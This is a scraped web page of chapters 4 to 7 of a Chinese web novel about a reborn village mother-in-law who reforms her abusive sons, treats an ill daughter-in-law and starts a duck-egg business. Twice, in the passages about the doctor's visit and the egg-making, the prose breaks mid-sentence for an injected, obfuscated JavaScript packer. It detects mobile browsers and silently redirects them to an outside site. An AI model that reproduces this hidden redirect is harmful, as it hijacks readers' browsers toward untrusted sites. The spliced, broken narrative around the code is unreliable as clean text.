秦嘉言看着老二的窝囊样,冷眼扫过老大,没有说话,一回身一脚踹在了李金生的膝盖上。 “啊!娘!疼,疼。”这一脚踹的十成十,李金生趴在地上不敢动弹了。 “这都是老娘玩剩下的,还敢逃跑!”秦嘉言将李金生踩在脚底下,又用力的捻了捻。这要不是自己的儿子,真心想就这样踩死他! 她把棒子又用力的砸向赌桌,朝着周围向鹌鹑一样不敢吱声的男人们问:“你们这里谁是当家的,出来跟我谈谈。” 周围人纷纷后退,像摩西分海一样分出了一条缝。在尽头,又一个长得像老鼠一样的男人正坐在主位上,手里还拿着一个骰盅不停的把玩着。 “这位大娘。”那男人把手里的骰盅放下直直的盯着她。“这里可不是你这样的妇人撒泼的地方。没听说过小渔村的乔大吗?这里可是他的地盘。” 秦嘉言看着那矮小男人,忽然啐了一口痰。“我还真没听说过什么乔大乔儿的,我今天来也不是要找事。” 她用棒子指向李金生,脚还用力的捻了一下,“这是我儿子,李家村的李金生,以后你们赌场不要在接收他,不然我再看见他在这里出现,来一次我砸一次!” 说完,她两手一起用力,把手腕粗的棒子再次用力砸向赌桌。 赌桌本就是木头做的,刚才的几下,砸的已经有一些晃荡,她这次使足了全身力气。‘砰’的一声,桌子碎的稀里哗啦。 “你!”老鼠脸男人看秦嘉言如此蛮横,混不讲理气的不行。他重重的一拍桌子想要□□把她们几个都围起来。 秦嘉言底下头把手伸进老二的衣襟里,从里面掏出一锭银子丢在了老鼠脸的身上。“今儿就算对不住大伙,也是要给我这个逆子一个教训,这锭银子算是我对你的赔偿。” 她示意老大和大儿媳妇把老二扶起来,往外走。她自己则是又向里面走去。 老鼠脸一时间不敢动弹,老大今天不在,他对这样的疯女人是一点辙都没有。 “我刚才说的话,你可记下了,要是下次他进来,你们就把他撵出去。”她一边走,其他男人一边向两边退去。 她把手中的棒子递给老鼠脸,又福了福身。“这次我有钱赔给你,下次我可就剩这贱命一条了。你也不想我这样人,一头撞死在这吧。” 老鼠脸又气又吓,憋得脸都绿了。“我知道了,下回他在来,我就拿着棍子打出去。” 秦嘉言点点头,带着算你识相的表情离开了。 赌场里面瞬间炸开了锅“这是谁家的啊?这么野蛮的婆娘!” “那是李家村的秦婆子吧?特狠毒的。” “艹!吓死我了,我合计我娘来了呢。” “散了散了,今儿没心情玩了。走了。” 赌场里后来发生的对话,秦嘉言统统不知道,此刻她捏着李金生的耳朵正往家赶。 李闻生想说什么,却在看着她凌厉的眼神后,把话咽了回去。 “娘,你小心些,等到家再说吧。”最后还是大儿媳妇胡氏劝劝她。 “不用你们管,我今天非教训教训这个小子!还敢赌博?还敢偷媳妇嫁妆?老李家的脸都让你丢光了!” 秦嘉言一边骂,一边还不停的用脚踹这个不省心的儿子。 李金生好不容易熬到家,没想到他娘没有让他休息,而是一脚把他踹到了地上。“跪下!”秦嘉言今天想要彻彻底底‘教育’下这几个混蛋儿子。 她抬眼看向胡氏,温柔的交代。“你去吧老三老四他们都叫过来,还有陈氏,我知道她脚扭了,你去把她扶过来,我要清理门户!” 李金生听到他娘这样说,吓的脸煞白,他求救的看向大哥。 “娘,今天太晚了,要不明天白天再......”没等他说完,秦嘉言的脚就踹了过去,“你也跪下!” “身为大哥,弟弟犯错不知道教育,只知道以为纵容!你这大哥就是这么当的?”秦嘉言指着老大的鼻子骂了起来,“一天好吃懒做,拿着读书的幌子不下地干活!一天到晚不顺心了就打你媳妇!你这个畜生!” “娘,你消消气,我这不是改了么,我现在不是也下地干活了。”李闻生不敢再求情,只能小声的嘀咕,他害怕秦嘉言的怒火发在他身上。 这时候,老三李水生的和老四李玉生走了进来,胡氏也将陈氏扶在一旁的椅子上坐下。 “娘,刘菇身体不舒服,服了药,现在睡的死沉,我就没有喊她。”胡氏向秦嘉言解释道。 她点点头,用脸示意老三老四也跪在大哥身边。 “之前我和你们说,我再阎王爷那转了一圈,你们是不是不信?”她看着跪在地上的四个人,气的心口微微作痛。 “今儿,我就把话说明白了,从今天起,咱们老李家的规矩要改一改了!” 大家放心冲吧!![熊猫头][熊猫头] 我要洗白洗白!做最善良的婆婆! 作者有话说 显示所有文的作话 第4章 第 4 章 第5章 第 5 章 跪下的四个人同时抬头看向秦嘉言。“娘,您这是要?” “你们要是还认我这个娘,就听我把话说完。”秦嘉言看着大儿媳妇胡氏,示意她坐下来,胡氏眼看着自己的相公还跪在地上,硬是没敢动弹。 秦嘉言没有为难她,只是示意她找个角落倚靠着舒服些。 “这些天,我以为我把你们改造好了,其实并没有!”秦嘉言看着四个儿子,缓缓的开口,“老二,你先说,你到底拿了陈氏多少嫁妆?” 李金生没敢吱声,他现在不期盼别人帮他求情,只用一双眼睛直直的盯着陈氏。秦嘉言没有理会他,又把头转向了陈氏方向。 “老二媳妇,都是我的错,是我这个当娘的没有教好他,让你受罪了。”秦嘉言朝陈氏鞠了个躬。陈氏连忙站起来扶她,嘴里直说“没有,不敢。” 她连忙按住没有让陈氏起来。陈氏的腿还淤青着呢,来回动只会严重的。 “我的儿子什么样,我心里清楚”秦嘉言用手拍了拍陈氏的手,语重心长的说:“我不求你能原谅他,但你要相信我,我一定会让他改掉身上的臭毛病。” 陈氏眼泪汪汪的看着婆婆,确实向大嫂说的那样,婆婆真的跟以前不一样了,今后的日子,真是越来越有盼头了。 秦嘉言从手中拿出了事先准备好的纸,塞在陈氏怀里。“这是一张欠条,之前老二拿走你的那些嫁妆算我欠你的。将来一定会还给你的!” 陈氏连忙推说不要,她一把撰住了陈氏的手,“放心,虽是我写的欠条,但我都会让老二还的。你不用为难,收下吧,这样我对亲家才有交代。” 陈氏只好点点头手下了那张纸。含着眼泪看向地上跪着不争气的丈夫。 “从现在起,以后这个家,都由我说了算。胡氏你过来。”秦嘉言看了眼角落里的人,用眼神示意她大胆点。 “明早开始,不要在做他们的饭了。让他们就一直这么跪着,什么时候自己想明白了,什么时候来找我!”她一边交代胡氏,也是一边说给这四个儿子听。 “娘,娘我没犯啥错啊?都是大哥,二哥他们......”老四李玉生连忙抱着秦嘉言的大腿撒娇。 “还你没有错?哥几个最坏的就是你了!”老三李水生愤愤不平的喊到:“你以前老调戏村里的黄花大闺女就不说了,就是现在娘让下地干活,你也是一天老偷懒!” “你!你好!你还不是由得娘把你媳妇折磨病了,你也不管管,你媳妇都一天到晚下不来床......” “够了!”秦嘉言一拍椅子指着他们骂道:“还没怎么着就开始狗咬狗了!亏我们还没分家, 你们真当我死了不成!” “我今天就把话放在这,要不就跪在这里反省!要不明天我找七叔公将你们都逐出族谱,以后爱哪去哪去!我再不管你们了!” 老大李闻生赶紧拉住李玉生,示意他不要在说话惹怒母亲。 “我知道我之前确实也做的不好,才纵容成你们今天这个性子。所以我这次跟着你们一起不吃饭,作为对我自己的惩罚。什么时候你们想明白了什么时候来找我。” “不,娘,我知道错了,你不能不吃饭,你病才刚好!” “娘我知道错了,你别这样.......” “娘......我错了!”四个壮汉用膝盖匍匐着挪到秦嘉言面前哭起来。该说不说,虽然这个四个坏种确实不成器,但是对待他们的老娘,孝心确实是实打实的。 “去,去,去,都过一边去。别在这哭哭唧唧的,给谁看!”秦嘉言抬脚走到里屋,拿出一个紫檀木小匣子来,这匣子可是她的嫁妆,平时轻易不拿出来见人。 她打开匣子,里面只有零星几个铜板和两张纸。她看着匣子里的铜板叹了一口气。要不是她确实没钱,也不会只给陈氏写欠条,说句实在的,要是陈氏的娘家追问起来,她还真是没办法交代。 她从匣子里把里面两张纸拿出来,当着儿子儿媳妇的面打开。那是一张房契和一张地契。房契上的名字还是他们的亲爹李大柱的名。 平时他们都没见过这东西被她藏在哪。这次怎么拿出来了?难不成是?娘真的要分家?这下四个人彻底慌了神。 且不说父母在不分家,父亲走的早,他们四个是被母亲秦氏一点点拉扯大的,秦氏如今这么彪悍,也是因为早些年他们孤儿寡母总挨人欺负。他娘不得已以凶狠的样子去面对世人。才有他们如今长大成人。 就说他们四个大老爷们,要是真分家了,不和娘一起,还不得被村里人戳死脊梁骨。 “娘,你这是要干什么!你这是要分家?不要我们了?”大哥李闻生颤抖着声音问到。 “放心,不是要分家,就你们这样,把你们分出去了,也只能是个祸害!”秦嘉言没好气的白眼瞪了他一下。走到老二媳妇跟前。 老二媳妇急得都要下跪了,婆婆这是什么意思?难不成还要拿这些东西赔给她?她可不敢收,欠条是一回事,这房契又是另一回事了。 秦嘉言慈爱的看着看着二儿媳妇,安慰的拍了拍她,又抬手把大儿媳妇胡氏招到跟前。 她把房契和地契分别放在两个媳妇的手中,缓缓的开口“这四个畜生实在不成器,我无意在替他们守着这些家产了,放在我手里,也迟早让他们败光!” “这两样东西,你们两个一人一份,老三那里我将来也会寻么一些东西交到她手里,你们手里有了这东西,他们要是在敢欺负你们,你们就直接休夫,让他们连睡觉的地方都没有。” 胡氏和陈氏都张大了嘴,不敢置信刚才听到的话。 休,休夫?婆婆这是真被气糊涂了么?她们赶紧把契书放回秦嘉言的手里,又各自看向自己的相公,这契书她们可不敢接,哪有老人在她们当家的份啊。 “让你们拿着就拿着。”秦嘉言佯装生气把契书又推了回去。“有我在呢!怕什么,你不不接,是不想替我分担么?” 秦嘉言沉下了脸,又指着跪下的四个儿子说到“就他们四个,我指望他们不如指望老母猪,一个个干活不会,奸懒馋滑倒是一顶一。” “我将这东西给你们,没有别的意思。就是将来我老了,管不了他们的时候,你们还能有个依仗。这年头人不好过,我们女人更是不好过,我理解你们的难处,所以不想为将来留下隐患。” 胡氏和陈氏眼泪立刻就流了出来。是啊,没人知道这些年她们是怎样过来的。 李闻生长的人模狗样还自祤读书人,实际上家里的活一点都不伸手不说,一不痛快了就对胡氏拳打脚踢的,这几年她的身上就没一块好肉,不是这青一块,就是那紫一块。 老二李金生就更不用说了。就看陈氏那已经空了的嫁妆盒子,就知道他这些年骗走了多少钱。刚成婚,拿钱的时候他还会温柔的哄一哄陈氏,现在不给他钱了,竟然也开始露出了凶恶的嘴脸。 秦嘉言看着二人,没有拦着她们哭。她知道,这个时代女子的不容易,好不容易让她们发泄一下也好,免得憋在心里在生出其他病。 她拍了拍裤子上的灰,向老三的屋里走去。 李家不大的院子盖着两个青砖瓦房,还是李大柱活着的时候盖的,那时候他有木匠手艺,能赚一些钱,将房子修的比周围邻居家都好,可这些年没有在翻新,房屋已经有了破败的痕迹。 她刚进到老三的屋里,窗外就传来了一声鸡鸣,随后就听到各家起床砰砰乓乓的声音。没想到今儿这一折腾就是一宿啊! 她看向炕上的女子,那女子盖着厚厚的牡丹花鸳鸯被,没有动弹,脸上还露出不正常的潮红。 不对,前屋这么大动静都没有给她折腾醒?秦嘉言连忙用手抚摸她的额头,“刘菇,刘菇”她急切的喊着三儿媳妇的闺名,可是她依旧没有什么反应。 “水生,水生你过来!”秦嘉言顾不得在惩罚儿子们,赶紧把刘氏扶了起来。 李水生听到娘的叫声,开始还很庆幸他不用罚跪了,没想到刚一进屋,她娘就扇了他一个大耳光,“你媳妇都这样了,你也不知道说一声!”秦嘉言气的把手里的枕头又砸了过去。 “赶紧喊你大哥管张婶家借下骡车,你去把东西都收拾收拾,我要带你媳妇去镇上看病!” “没事的娘,她老这样,都老毛病了,等中午就能醒了。”李水生不以为意的耸耸肩,没有要动的样子。 秦嘉言气的把鞋砸到他脸上“我以为你是个好点的,没想到你连畜生都不如!你媳妇都病成这样了,你还不当回事!赶紧去给我叫人!在不动弹我扒了你的皮!” 李水生连忙喊他大哥去隔壁借骡车,张婶一听刘菇发烧昏迷不醒,赶紧让老头子将骡子牵出来,还给骡子多喂了一把草。 “赶紧去吧,还好你会赶车,我家二郎昨儿去镇上没回来。没有人动着骡子。”刘婶虽然讨厌这个眼高手低的李闻生,但又人生病,又是昏迷,她也不能不管。 李闻生把骡车赶到了院子里,又示意老二赶紧趁机会起来。李金生连忙从骑上爬起来,假装跟着他大哥忙前忙后,完全忘了他娘罚他跪下的事。老四一看大家都起来了,也跟着起来回到堂屋,临走时还把秦嘉言檀木匣里的铜板拿走3枚。 秦嘉言气的不行,眼下,她没没工夫在理这些儿子,她喊胡氏进来和她一起给刘菇换上了衣服,在拿自己屋里的被子把骡车铺上了厚厚一层。 陈氏的脚不好走动,她跟着着急的不行,她蹒跚着从自己的屋里拿出两床被子给刘菇盖好。 胡氏趁机去厨房烙了两张饼,拿布包好放在秦嘉言的怀里。 “婆婆,你一宿没睡了,不能再不吃饭了,这饼你留着路上吃。”她看着秦嘉言没有像以前那样嫌她就又交代几句,“我知道婆婆还在生气,不过你也一定要保重好身体,我和陈氏还等着你做主呢。” 秦嘉言点点头,感激的看了胡氏一眼。谁说以心换心换不来。你看着胡氏也是一天天的比之前勇敢起来了。 张婶子家的骡车不大,能能勉强的载下刘菇一人,其他人只能走路跟着。 秦嘉言只带了老大和老三出去,她把刘菇身上的被子又掖了一下,确定不透出一点风。又把手中的包袱放在车尾。 她挥挥手交代胡氏和陈氏好好看家。就让老大赶着骡车往镇上去了。 [熊猫头] 秦嘉言:真想把这几个棒槌揍进娘胎里去!! 作者有话说 显示所有文的作话 第5章 第 5 章 6. 第 6 章 一行人驾着骡车直奔镇上的刘氏医馆。刚到医馆的时候天色才大亮。 医馆的学徒刚刚把门板打开,看到他们还挺诧异:“你们这是从哪来的?这是什么情况?怎么这么早” 秦嘉言让李水生把骡车上的刘菇轻轻的抱下来:“我们是从李家村赶来的,刘大夫呢?他来了么?” “他在后院呢,这个时辰应该已经睡醒了。她这是怎么了,哪儿不舒服?”小学徒看着李水生怀里的人面色潮红,紧闭着双眼。 “小伙子,你赶紧帮我喊刘大夫来,我儿媳妇发热昏迷不醒。让刘大夫帮忙看看怎么回事。”秦嘉言着急的吩咐他。 “好嘞,别着急,你们赶紧把人弄进来,对,就放在前面这张床上。”小学徒安顿好他们就匆忙的跑到后院去喊大夫了。 刘大夫刚睡醒,刚收拾整理好衣服,听见学徒说有人发热昏迷不醒,就急急忙忙跑过来,连鞋子都没有穿好。 “怎么了?病人在哪?”刘大夫是一个年过花甲的医者,平时保养的得当,头发竟然没有一丝银色。 他走到刘菇跟前,看了眼秦嘉言。呦!这不是李家村那个有名的恶婆婆秦氏么?听说前几日她才死里逃生,还说自己在阎王面前发了毒誓,好好做人。这才几天,她又把儿媳妇折腾病了? 她家大儿媳妇以前就是医馆里的常客,经常被她丈夫打的头破血流,来医馆也舍不得用贵药,常常是让他止住血就回去继续干活了,还有一次,那女人被打的腿都骨折了,她婆婆还在旁边撺掇着儿子,说她就是想偷懒不干活,她那大儿子二话没说,当着众人的面,又给了她几耳光。真是可怜啊! 刘大夫以为躺在床上的又是胡氏,刚想摇摇头,先批评几句。一抬头就看见一个不一样的身影躺在床上。 咦?不是原来那娘子?这次又是谁?刘大夫没有说话拿出医枕放在刘菇手腕下,专心的把起脉。 “她这样的情况多久了?是一直昏迷着么?发热多久了?”刘大夫问秦嘉言。秦嘉言摇摇头又转身把李水生拽过来,踹了下他的小腿。“赶紧的,臭小子,大夫问话呢!” “大概......四、五天了吧!她一般中午的时候会醒过来的,夜里才开始发热昏迷。”李水生唯唯诺诺的回答,眼神还是不是得撇向一旁的秦嘉言。 “都这么久了,怎么才来?你们也太不重视了!”刘大夫赶紧让小徒弟回身取了他的针灸包。“她这脉象已经完全紊乱了,要是在晚来一天,老夫也无力回天了!我现在给她施针,在开几副药,其他的就得慢慢养了。” 秦嘉言气的不行,‘啪’重重的给了李水生一个耳光,打的他一个趔趄。“你媳妇都病成这样了!你都不知道说!平时我只顾着看着你们种地。看顾不到,你自己也不知道带你媳妇来看病么!” “娘,我这两天不是一直在下地么,回来时躺床上我就睡着了。我也没想这么多。再说她一到中午就能醒过来。我以为没事......”李水生捂着脸呢喃,心理还腹诽着刘菇,这死女人,身体不适也不知道和他娘说,害的他平白无故挨他娘一巴掌。 刘大夫斜眼瞅了这对母子一眼,有些奇怪秦氏什么时候变得这么心疼儿媳妇了?还是演给他看的?他用银针在刘菇的手上和头上扎了几下,不一会,刘菇就迷迷糊糊的睁开了眼睛。 刘大夫紧张的擦了下汗,手中的银针快速的又在她脖颈处扎了几下。 “呕......”刘菇一低头,呕出了一口黑血。 秦嘉言紧张的扶着她不敢动,“刘大夫,我儿媳妇她怎么样了?”她颤抖着声音问到。“这......这怎么还吐血了?” “没事,毒血吐出来就好了,我再开几服药,你拿回去煎给她喝,不出三日这次的症状就能够彻底消散了。”刘大夫收回银针,用一块绸布仔细的擦干净。 “不过,她这是之前服用了虎狼之药伤了身体,以后最好三五不时地饮用些参汤,把底子补起来,不然于寿数有碍啊。”刘大夫一边说,一边拿笔开着方子。他也是顺嘴一说,压根就不相信秦嘉言能给她补。 “谢谢大夫,那您先给我包能用一个月的参片。”秦嘉言拿手帕轻柔的把刘菇嘴角的血迹擦干净。又接过小学徒手中的碗,给她喂了两口温水。刘菇这时候才隐约知道婆婆这是带自己看病来了。 刘大夫诧异地看了她一眼,人参是药材里相对而言贵重很多的,一般人家听到要用人参都会迟疑。尤其这个李家村有名的恶妇,这次竟然能给她儿媳妇抓这么贵的药? 他对站在一旁的学徒道:“按照这个方子,带这位去抓药,再包一份一个月的参片,记住,要五十年年份的。” 秦嘉言点点头,让李水生跟过去抓药。她看李水生没反应过来,一动不动,跟没事人似的,赶紧又重重的踹了他一脚。 李水生才像刚睡醒似的,跟在学徒后头走过去,学徒按照方子抓了六幅药,又包了一包五十年份的参片:“这位小郎君,这两幅药一天煎两回,每次煎的时候放三碗水,熬到剩一碗水就能倒出来用。” “参片三天用一次,也是加三碗水煎服。” “谢谢,总共多少银子?” “两幅药五两银子,参片四十五两。”五十年份的参片已经是不好找的,价格自然高。 “什么?这么贵!要了我的命了!我哪有这么多钱!”李水生尖叫起来。开什么玩笑。五十两银子!他娶刘菇进门一共才花了80两。而且听那老大夫的意思,以后这参片还得经常吃?真是娶了个什么败家玩意! 秦气的咬牙切齿!这个混蛋玩意,要不是刘菇还躺在她怀里,她一定上去在扇他几个大耳光。 她把刘菇扶好,让她依在枕头上,自己径直走到就大夫面前,想都没想就褪下了手腕上的银镯子。 “这个镯子是我的陪嫁,纯银的,大概30两。您称一下,药我先拿走一半,剩下的过几天来拿来可否?” 几十两银子不轻,寻常人不会放这么多银子在身上,他们医馆也经常有这样的事情发生。 小学徒有些为难,刘大夫却立刻接过镯子道:“秦娘子,这些药你都先拿回去吧,剩下的银子什么时候有了,什么时候在送回来就行。” 刘大夫本来对秦嘉言并没有好感。但能救人一命,又看秦嘉言能为了儿媳妇连陪嫁都能拿出来。也是真心想改过,他就当日行一善支持一把。 秦嘉言看着刘大夫深深的鞠了一躬。抬手招呼小学徒过来拿了笔墨,给刘氏医馆写了一张欠条。 “刘大夫,谢谢你,但该有的规矩还是要有的。你就放心给这孩子开些补药。银子我这就回去凑。一定要把她给治好咯!” 刘大夫欣慰的点点头,捋了下胡子,笑了出来。看来这秦氏看起来真的变好了。相信她那个大儿媳妇也不会再来找他看伤了。 秦嘉言把药拿好,扶着刘菇慢慢的走了出去。谁知刘菇刚一出门就向她跪了下来。 “婆婆,我真的不知道说什么才好,真是太谢谢你了。婆婆,这银子我会将来还给你的。”刘菇哭的泣不成声。这一年她都不知道怎么过来的,活的浑浑噩噩,刚嫁过来的时候,李水生对她还算是很好,半年后,她的肚子一直没有动静。婆婆和丈夫就对他不耐烦起来。 之前婆婆给她找了一个乡下土郎中,开了几服不知道什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她在医馆特意没有将钱袋拿出来,一来是这点银子不够干什么,二来是她想赚银子也得需要一些本钱。 秦嘉言这些天将这个世界的情况摸个遍。这里不属于她前世知道的任何一个朝代国家,这个国家叫大梁国,君主是一个还不满9岁的孩童。这里是大梁国的一个边陲小镇,也是周边地区比较富裕的一个地方。 她在集市上逛了一会,这里民风比较开放,街上也有几家酒楼和包子铺之类的在经营着。前世,她可是一个美食博主,就喜欢去各个地方去掏弄好吃的,和美食的做法,自己也有一手好厨艺,谁知她只是在一家烤肉店吃饭的时候,就遇到了后厨煤气爆炸。晕倒时,她只看到漫天的火光和黑漆漆浓烟向她袭过来,再一睁眼,就到了这具身体里。 怎么赚钱,她第一个就想到了弄个小吃摊什么的。她的手艺不错,应该能火起来。做什么好呢?她转悠一圈下来,她看见外面摆的摊子也就是常规的包子,面条那几样。还有一家摊子上摆着豆腐脑,也许对他们来说,这是稀罕物,那个摊子被挤的水泄不通。 她倒是想起家里似乎还有些鸭蛋,这市场上的鸭蛋都是普通的,没有任何加工过的痕迹。 她可以做一些咸鸭蛋,或者皮蛋啊!李家村是沿着一条河建的小村子,家家户户都养小麻鸭。鸭蛋什么的也比较好找。价格还便宜,五个铜板就能买到一个大鸭蛋。 说干就干!她跑到镇上唯一的香料铺子,把能买的香料都买了。这个时代的香料价格十分昂贵,就一点香料就花了她1两银子。 看着所剩不多的铜板,秦嘉言计算着待会还要买的东西,碱家里还有。石灰和盐要占大头,不过石灰她可以在医馆里赊一些,等到赚了了钱,连同老三媳妇的药钱一起还回去。 她走进一间杂货铺,将身上所有的铜板都拿出来买了盐。店小二给她包好了盐,笑眯眯的送她出去。这婶子一下子买了不少盐,据说以后还会经常光顾。他直接给了店里的最低价。 秦嘉言抱着一大堆东西回到医馆,刚一抬头,便气的要死。 7. 第 7 章 外面的太阳毒辣辣的晒着地面,像随时能点着火一样。医馆外的歪脖子大榆树下面,停着张婶子家的小骡车。 李闻生坐在骡车前面赶车的位置,手里不知在摆弄什么,时不时的还用牙咬一下。 李水生躺在车里,盖着陈氏之前放上去的被子呼呼大睡。而刘菇坐在一旁的大石头上打盹,蔫蔫的没什么精神。 秦嘉言揉了揉被气的生疼的太阳穴,走了过去,把手上的七零八碎的东西都放在骡车上,又转身在大树底下寻了跟几根粗壮的树枝,变成一根长鞭。一仰手,对着车上人的脑袋就抽了下去。 “你这该死的混蛋!看我今天不好好教训教训你!你媳妇病了都不知道心疼,让你媳妇坐路边,你倒是躺在这上面睡觉!”秦嘉言气的不行,临走时候她还特意交代老三要照顾好他媳妇,结果他就是这么照顾的! 坐在前面的李闻生吓了一跳,连忙从车上跳下来拦住了她。“娘,您别生气,是刘菇说她自己好多了,才让老三上去躺着歇一会的。”一边说还一边给刘菇使眼色。 一旁的刘菇没有看见大伯哥的眼神,她目瞪口呆的看着婆婆在修理她的丈夫,一时间竟有些不敢开口阻拦。 李水生被他娘抽的脸上泛起了一道道的血痕。他娘可是农村妇女,抽人的力度可大着呢。他连忙从骡车上往下爬,也不敢逃走,一下子跪在地上求饶,“娘,我错了娘,你别抽了”。 不一会,这儿就围上来一圈人,医馆里的小学徒趁着没什么病人,也出来看热闹,看着秦娘子“教训”儿子。 “这李家村的秦娘子吧?她怎么转性了?咋开始揍儿子,不揍媳妇了?” “谁说不是呢,我听他们村里人说,她现在都不让儿媳妇们下地了,全是自己带着儿子们干活。” “真的,假的,那个恶妇?还能让她儿子干活?” “真的,我刚听刘家医馆那个伙计说,刚才她还给她儿媳妇买人参吃了呢!那可是人参!我可舍不得买。听说还把她自己嫁妆都拿出去了!” “这是真的,一个纯银的大手镯,30两呐!我亲手称的重量。” “呦!她这是真转性了啊?听说前些日子她摔了一跤,差点摔死,怕不是把脑子摔坏了吧!哈哈哈哈。” 秦嘉言听到周围的议论,怕人笑话,只好停住了手。“你等着!等回去我再教训你!”她丢下手里的树枝,又小心翼翼的把刘菇扶回到车上。 “看什么看热闹,还不都回去!都不用干活了么!” 周围的人群一哄而散,走时还在继续八卦。 她疏散了看这些闲极无聊想看热闹的人,又转身回到医馆里想要从店里赊2斤石灰。 石灰很便宜,一斤才几文钱,每家医馆都是拿来消毒用的。刘大夫看她之前买了许多药,就把石灰免费送给她一大袋子。 伙计帮她把石灰放在骡车上,还特意的和她之前买的东西分隔开。 “谢谢你啦,我下回一定把银子都送回来。”秦嘉言感谢的看着小伙子,挥挥手和他告了别。 她带着儿子儿媳妇们回到了李家村,刚到家,胡氏就迎了上来。 她帮着把车上的东西都卸了下来,又看了看刘菇。 “娘,您回来了。刘菇怎么样了?” “还行吧,她醒过来了,后续还需要慢慢调养。”她把手中的包裹递给胡氏,自己把刘菇扶了起来。“你没事的时候帮我照看点她,这阵子别让她干活。” 胡氏点了点头,看了眼手中的东西,咦?花椒、八角、石灰、还有......这么多的盐?“娘,你怎么买了这么多盐?这到年底我们都吃不完的。”胡氏小心翼翼的问。 “这东西先放厨房,这些可是能赚钱的宝贝。”她看着刘菇看着精气萎靡虚弱无力的样子,心疼的不行。“厨房里有什么吃的吗?拿点好克化的东西来。刘菇这一早上了啥都没吃。” 胡氏连忙从厨房里面端来了两碗粥,一碗递给秦嘉言,一碗手里拿着准备喂刘菇喝。“娘,你喝点粥歇一会,我来喂她。” 秦嘉言点点头,折腾了一晚上加白天,她也确实累的不行。“一会你去帮我把家里的鸭蛋都捡过来,我要用。再让老二帮我去薅两捆松柏叶来。” “大嫂,你先过去忙吧,这里我自己来就行。” “好的,那我这就先过去,你自己吃慢点。”胡氏应了一声,她将手中的粥递给刘菇,就自己拿着篮子去鸭子棚。 秦嘉言喝完粥时,李金生已经将松柏叶放到她面前。她看着老二小心翼翼伏低做小的样子,心里对他的怒火也减轻了几分。 唉,算了,她本来也不指望几天就能将他们都改造好,慢慢来吧。 “你去帮我从灶台里面弄点柴火烧剩下的灰来。”她又吩咐了二儿子几句。“所有烧好的灰都拿过来,我一会要用。” 李金生看母亲的脸色有所缓和,终于松了一口气,也不敢多问有什么用,就赶紧去厨房找东西去了。 她招招手把刚捡了一篮子鸭蛋的胡氏叫道跟前。“金花你过来,我来教你做个吃食,这东西可简单了,做好了能买银子呢。” 大儿媳妇胡金花立刻笑盈盈的跑的秦嘉言身边,她没想到婆婆这出去一趟就有了赚钱的法子,更没想到婆婆有赚钱的法子居然能直接教给她,。 “这吃食做起来简单的很,做好了也不容易坏,你去把我们家那两个大坛子拿过来,洗干净了用布都擦干。” 秦嘉言决定先做五香咸鸭蛋和黄色皮蛋这两种,其实黑色的皮蛋味道会更浓郁一些,可她怕这新鲜玩意没人接受,还是弄黄色的吧,至少卖相上要好看许多。 她把鸭蛋都用稻草洗干净,又在酒里滚了一圈,这样做出来的鸭蛋味道会更好,也能放的更久一些。 “娘,这酒,还是咱爹活着的时候买的呢,这些年只有过年你才能给我们哥几个倒上两盅。”老大李闻生有点心疼那些白酒,虽然有一大坛子,但这么多年挥发和取用,这一坛子的酒,就剩下一个坛底了。 “娘,你这沾完鸭蛋的酒还能喝么?还是让我拿走吧,别浪费了。”他实在有点嘴馋,没忍住,回屋拿了个酒盅倒了满满一杯滚过鸭蛋的酒。 秦嘉言看着这个光知道喝酒不知道干活的傻儿子,真是气不打一处来。直接把他赶到里屋去——这也正和了他的心意。他要是一直在这儿附近转悠,免不了还要多干许多活。 胡金花看了不争气的丈夫一眼,叹了口气,连忙帮着婆婆把鸭蛋都摆放好。 “来,咱们不理他,今儿我教会你,等老二家的脚好了,你在教会她。这处理完了可不是普通的鸭蛋,而是能换银子的金蛋!”秦嘉言得意的看着胡氏,她是真想让这个女人掌握一些赚钱的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909278|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领,将来也不会在任人欺凌。 “娘!”胡氏知道婆婆的意思,感动的眼泪只在眼眶里打转。 “行了,别哭了,这鸭蛋现在还不是金蛋呢!来我教你。”她把所有的花椒、大料连同松柏叶用大火煮开放凉。又把生石灰都小心的碾成粉末。 “这里你要小心点操作,石灰粉千万别弄进眼睛里,真要是不小心沾到了,也不要用水洗。用干布先擦掉,在直接去医馆。”她细心的给胡氏讲解每一个步骤,胡氏听的特别认真,要不是她不会写字,都恨不得每一步都拿笔记下来。 “没事,你也不用着急,我会带你多做几遍的,做熟了就都会了。”秦嘉言看着陈氏认真的样子,稀罕的不行。 这个女子其实比她前世还要小十多岁,别看她已经嫁人,但实际也就十八岁左右。陈氏和刘菇的年际要更小一些,这些儿媳妇,在她眼里就好像妹妹一样。 她看着胡金花小心翼翼的样子十分心疼。她19岁的时候,应该刚上大学不久,每天不是享受空调外卖奶茶,就是在寝室里趴着看小说。毕业了就直接签到了一家口碑很好的传媒公司,工作自由不说,还能经常去各地旅游。 唉!她缅怀了下过去的自己,又继续手中的活。算了,不想了,既来之,则安之。她相信每一步都是上苍最好的安排。 她把所有的鸭蛋都沾上酒,分成了两堆,胡氏是个实在人,叫她去捡鸭蛋,她就一个不漏的全都拿了过来,这些鸭蛋都处理完足足摞了两大筐。 她把煮好的香料水放凉,拿出一半倒在石灰里面,不一会石灰就冒起了泡泡。胡氏吓了一跳,后退了一步,还不忘挡在秦嘉言前面。 “没事,别紧张。”秦嘉言笑着拍了拍她的肩。这阵子真没白疼她,害怕的不行也不玩了保护自己,比她那些糟心的儿子们强多了。 “这些不用管,先放一边,等会就不冒泡了,我们在把这些草木灰都泡进水里,对,就这样多揉几遍。” 秦嘉言拿起一块布,把草木灰的水都过滤了出来。“我们就要下面这些水,不要上面的灰了。”她边说边把草木灰水也倒进石灰里。 